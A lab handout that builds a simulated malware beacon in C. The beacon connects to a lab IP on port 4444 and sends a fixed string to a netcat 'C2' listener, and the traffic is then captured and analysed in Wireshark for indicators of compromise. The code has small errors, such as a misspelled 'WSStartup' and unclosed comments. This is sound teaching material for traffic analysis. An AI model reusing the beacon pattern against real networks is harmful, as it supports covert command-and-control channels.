

Part A

Experiment 5: Analyze the captured network traffic from the malware execution to identify potential command and control (C2) communications or data exfiltration attempts. Extract indicators of compromise such as IP addresses or domain names.

Tool: Wireshark

Tools Used

- **MinGW-w64 (Ubuntu)**
- **Wine (Ubuntu)**
- **Wireshark (Kali Linux)**
- **Netcat (Metasploitable 2)**

PART A: Creating sample.exe in Ubuntu VM

Step 1: Install Required Packages (Ubuntu VM)

`sudo apt update`

`sudo apt install mingw-w64 wine`

This installs:

- MinGW-w64 → to compile .exe
- Wine → to execute .exe

Step 2: Create Working Directory

```
mkdir malware_lab
```

```
cd malware_lab
```

Step 3: Create Source Code File

```
vi sample.c
```

```
#include <winsock2.h>
```

```
#include <windows.h>
```

```
int main() {
```

```
    WSADATA wsa; /* it stores the information about winsock version
```

```
    SOCKET sock;
```

```
    struct sockaddr_in server;
```

```
    char message[] = "beacon:system_online";
```

```
    WSStartup(MAKEWORD(2,2), &wsa); /* Initializes winsock library
```

```
    sock = socket(AF_INET, SOCK_STREAM, 0); /* Creates a TCP socket  
and it is used for Backdoors, C2 channels
```

```
    // Fake C2 server (Metasploitable 2 IP)
```

```
    server.sin_addr.s_addr = inet_addr("192.168.56.101"); /* Converts ip  
address from string to binary format ..you can use metasploitable2 vm  
ip
```

```
    server.sin_family = AF_INET;
```

```
    server.sin_port = htons(4444);
```

```
    connect(sock, (struct sockaddr *)&server, sizeof(server));
```

```
send(sock, message, sizeof(message), 0);  
closesocket(sock);  
WSACleanup();  
return 0;  
}
```

Save and exit.

Step 4: Compile Windows Executable in Ubuntu

```
x86_64-w64-mingw32-gcc sample.c -o sample.exe -lws2_32
```

Step 5: Verify Executable

file sample.exe

Expected output:

PE32+ executable (console) x86-64, for MS Windows

✓ Confirms successful creation of sample.exe

PART B: Preparing C2 Server (Metasploitable 2)

Step 6: Check IP Address

ifconfig

Example:

192.168.56.101

(This must match the IP hardcoded in sample.c)

Step 7: Start Fake C2 Listener

```
nc -lvp 4444
```

This simulates a **Command & Control** server.

PART C: Capturing Traffic in Kali Linux

Step 8: Start Wireshark (Kali)

wireshark

- Select **Host-Only network interface**
- Click **Start Capture**

PART D: Executing sample.exe in Ubuntu VM

Step 10: Execute sample.exe Using Wine

```
wine sample.exe
```

The program:

- Runs silently
- Creates an outbound TCP connection

- Sends a beacon message

PART E: Wireshark Analysis (Kali Linux)

Step 11: Stop Capture

Save as:

malware_traffic.pcapng

Step 12: Apply Wireshark Filters

Show TCP traffic

tcp

Show C2 traffic

ip.addr == 192.168.56.101 <Metasploit-table-ip>

Show suspicious port

tcp.port == 4444

Step 13: Inspect Payload

1. Right-click packet
2. **Follow → TCP Stream**

Observed payload:

beacon:system_online

RESULT

The malware sample generated suspicious outbound network traffic indicative of **Command and Control (C2) communication**, which was successfully captured and analyzed using Wireshark.

Wine was used to execute the Windows executable safely on Ubuntu for controlled malware analysis in an isolated environment.